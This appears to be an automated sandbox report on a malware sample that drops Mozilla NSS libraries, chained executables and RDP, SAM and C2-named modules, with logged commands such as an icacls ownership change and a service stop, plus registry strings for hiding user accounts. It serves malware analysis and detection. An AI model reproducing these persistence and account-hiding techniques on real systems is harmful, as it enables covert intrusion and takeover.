Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: file.exe, 00000000.00000002.2776697381.000000002F98F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2788533136.000000006CA1F000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmp, file.exe, 00000000.00000002.2773812386.0000000029A18000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: file.exe, 00000000.00000002.2768266325.000000001B807000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2767419498.00000000191C8000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: RfxVmt.pdbGCTL source: BFCAAEHJDB.exe, 00000007.00000003.2859028722.00000000044A4000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.00000000044A2000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb source: file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\ProgramData\BFCAAEHJDB.exe

Unpacked PE file: 6.2.BFCAAEHJDB.exe.3370000.2.unpack

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.400000.0.unpack

Source: rfxvmt.dll.23.dr

Static PE information: 0xE004CD23 [Sat Feb 5 03:04:03 2089 UTC]

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00417A40 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00417A40

Source: vcruntime140.dll.0.dr

Static PE information: real checksum: 0x16dd4 should be: 0x13f4f

Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: BFCAAEHJDB.exe.0.dr	Static PE information: section name: .didata
Source: 7847438767[1].exe.0.dr	Static PE information: section name: .didata
Source: euasv89vr56qz5toefmgc1.exe.7.dr	Static PE information: section name: .xdata
Source: main.exe.14.dr	Static PE information: section name: .xdata
Source: evtsrv.dll.23.dr	Static PE information: section name: .xdata
Source: termsrv32.dll.23.dr	Static PE information: section name: .xdata
Source: rdpctl.dll.23.dr	Static PE information: section name: .xdata
Source: samctl.dll.23.dr	Static PE information: section name: .xdata
Source: prgmgr.dll.23.dr	Static PE information: section name: .xdata
Source: dwlmgr.dll.23.dr	Static PE information: section name: .xdata
Source: cnccli.dll.23.dr	Static PE information: section name: .xdata
Source: libi2p.dll.23.dr	Static PE information: section name: .xdata
Source: S7evpAMe.23.dr	Static PE information: section name: .xdata
Source: g29qQU9G.23.dr	Static PE information: section name: .xdata
Source: h0yu5TYE.23.dr	Static PE information: section name: .xdata
Source: Lx9RtFcl.23.dr	Static PE information: section name: .xdata
Source: fJw4qvYl.23.dr	Static PE information: section name: .xdata
Source: FHLBnhuN.23.dr	Static PE information: section name: .xdata
Source: 1kuzcKGx.23.dr	Static PE information: section name: .xdata
Source: KXEmxT2p.23.dr	Static PE information: section name: .xdata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041CDD5 push ecx; ret	0_2_0041CDE8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C81B536 push ecx; ret	0_2_6C81B549
Source: C:\ProgramData\BFCAAEHJDB.exe	Code function: 6_2_03326575 push esi; ret	6_2_03326577
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA38D72E8 push rsp; ret	23_2_00007FFDA38D72E9
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA38D72E4 push rsp; ret	23_2_00007FFDA38D72E5
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA38D72E0 push rsp; ret	23_2_00007FFDA38D72E1
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA38D727C push rsp; ret	23_2_00007FFDA38D727D
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA38D726F push qword ptr [rsi]; ret	23_2_00007FFDA38D7275
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA38D72BC push rsp; ret	23_2_00007FFDA38D72BD
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA38D72B8 push rsp; ret	23_2_00007FFDA38D72B9
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA38D72DC push rsp; ret	23_2_00007FFDA38D72DD
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA38D72D8 push rsp; ret	23_2_00007FFDA38D72D9
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA38D72D4 push rsp; ret	23_2_00007FFDA38D72D5
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA38D72D0 push rsp; ret	23_2_00007FFDA38D72D1
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA38D72CC push rsp; ret	23_2_00007FFDA38D72CD
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA38D72C4 push rsp; ret	23_2_00007FFDA38D72C5
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA38D79F7 push qword ptr [00007FFDD98D78C8h]; retf	23_2_00007FFDA38D79FD
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA38D79EF push qword ptr [00007FFDD98D78C0h]; retf	23_2_00007FFDA38D79F5
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA38D79E7 push qword ptr [00007FFDD98D78B8h]; retf	23_2_00007FFDA38D79ED
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA38D7A17 push qword ptr [00007FFDAA8D78E8h]; retf	23_2_00007FFDA38D7A1D
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA38D7A0F push qword ptr [00007FFDD98D78E0h]; retf	23_2_00007FFDA38D7A15
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA38D7A07 push qword ptr [00007FFDD98D78D8h]; retf	23_2_00007FFDA38D7A0D
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA38D79FF push qword ptr [00007FFDD98D78D0h]; retf	23_2_00007FFDA38D7A05
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA38D79BB push qword ptr [00007FFDD98D788Ch]; retf	23_2_00007FFDA38D79C1
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA38D79B3 push qword ptr [00007FFDD98D7884h]; retf	23_2_00007FFDA38D79B9
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA38D79D3 push qword ptr [00007FFDD98D78A4h]; retf	23_2_00007FFDA38D79D9
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA38D79CB push qword ptr [00007FFDD98D789Ch]; retf	23_2_00007FFDA38D79D1
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA38D79C3 push qword ptr [00007FFDD98D7894h]; retf	23_2_00007FFDA38D79C9

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Code function: 23_2_00007FFDA389875B strlen,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,strlen,strlen,GetProcessHeap,HeapAlloc,strlen,NetUserAdd,CreateProfile,

23_2_00007FFDA389875B

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\7847438767[1].exe	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\S7evpAMe	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\prgmgr.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\KXEmxT2p	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\termsrv32.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\h0yu5TYE	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rfxvmt.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\1kuzcKGx	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\fJw4qvYl	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\FHLBnhuN	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\feJ0dymt	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\libi2p.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\g29qQU9G	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\Lx9RtFcl	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\rdpctl.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\samctl.dll	Jump to dropped file
Source: C:\ProgramData\BFCAAEHJDB.exe	File created: C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\BFCAAEHJDB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.dll	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\BFCAAEHJDB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\g29qQU9G	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\S7evpAMe	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\Lx9RtFcl	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\KXEmxT2p	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\h0yu5TYE	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\1kuzcKGx	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\fJw4qvYl	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\FHLBnhuN	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\feJ0dymt	Jump to dropped file

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\S7evpAMe	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\g29qQU9G	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\feJ0dymt	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\h0yu5TYE	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\Lx9RtFcl	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\fJw4qvYl	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\FHLBnhuN	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\1kuzcKGx	Jump to dropped file
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	File created: C:\Windows\Temp\KXEmxT2p	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe

File created: C:\Users\user\AppData\Local\Temp\installer.log

Jump to behavior

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Code function: 23_2_00007FF620941DBC strcmp,strcmp,StartServiceCtrlDispatcherA,_read,GetLastError,

23_2_00007FF620941DBC

Source: C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe

Process created: C:\Windows\System32\sc.exe sc.exe stop RDP-Controller

Hooking and other Techniques for Hiding and Protection

Contains functionality to hide user accounts

Source: BFCAAEHJDB.exe, 00000007.00000003.2859028722.00000000044A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: BFCAAEHJDB.exe, 00000007.00000003.2859028722.00000000044A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListsam_user_test_special_accountsam_user_set_special_account(is_set == 0) \|\| (is_set == 1)SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts[E] (%s) -> Failed(s_sid=%s,is_set=%d,err=%08x)
Source: BFCAAEHJDB.exe, 00000007.00000003.2850857977.00000000044A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: BFCAAEHJDB.exe, 00000007.00000003.2850857977.00000000044A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListsam_user_test_special_accountsam_user_set_special_account(is_set == 0) \|\| (is_set == 1)SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts[E] (%s) -> Failed(s_sid=%s,is_set=%d,err=%08x)
Source: euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListsam_user_test_special_accountsam_user_set_special_account(is_set == 0) \|\| (is_set == 1)SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts[E] (%s) -> Failed(s_sid=%s,is_set=%d,err=%08x)
Source: main.exe	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListsam_user_test_special_accountsam_user_set_special_account(is_set == 0) \|\| (is_set == 1)SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts[E] (%s) -> Failed(s_sid=%s,is_set=%d,err=%08x)
Source: main.exe, 00000017.00000002.3443178885.00007FFDA38A4000.00000002.00000001.01000000.00000015.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: main.exe, 00000017.00000002.3443178885.00007FFDA38A4000.00000002.00000001.01000000.00000015.sdmp	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListsam_user_test_special_accountsam_user_set_special_account(is_set == 0) \|\| (is_set == 1)SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts[E] (%s) -> Failed(s_sid=%s,is_set=%d,err=%08x)
Source: Lx9RtFcl.23.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: Lx9RtFcl.23.dr	String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListsam_user_test_special_accountsam_user_set_special_account(is_set == 0) \|\| (is_set == 1)SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts[E] (%s) -> Failed(s_sid=%s,is_set=%d,err=%08x)

Source: C:\Users\user\Desktop\file.exe

0_2_00417A40

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe

Process created: C:\Windows\System32\icacls.exe icacls.exe C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\ /setowner *S-1-5-18

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\BFCAAEHJDB.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
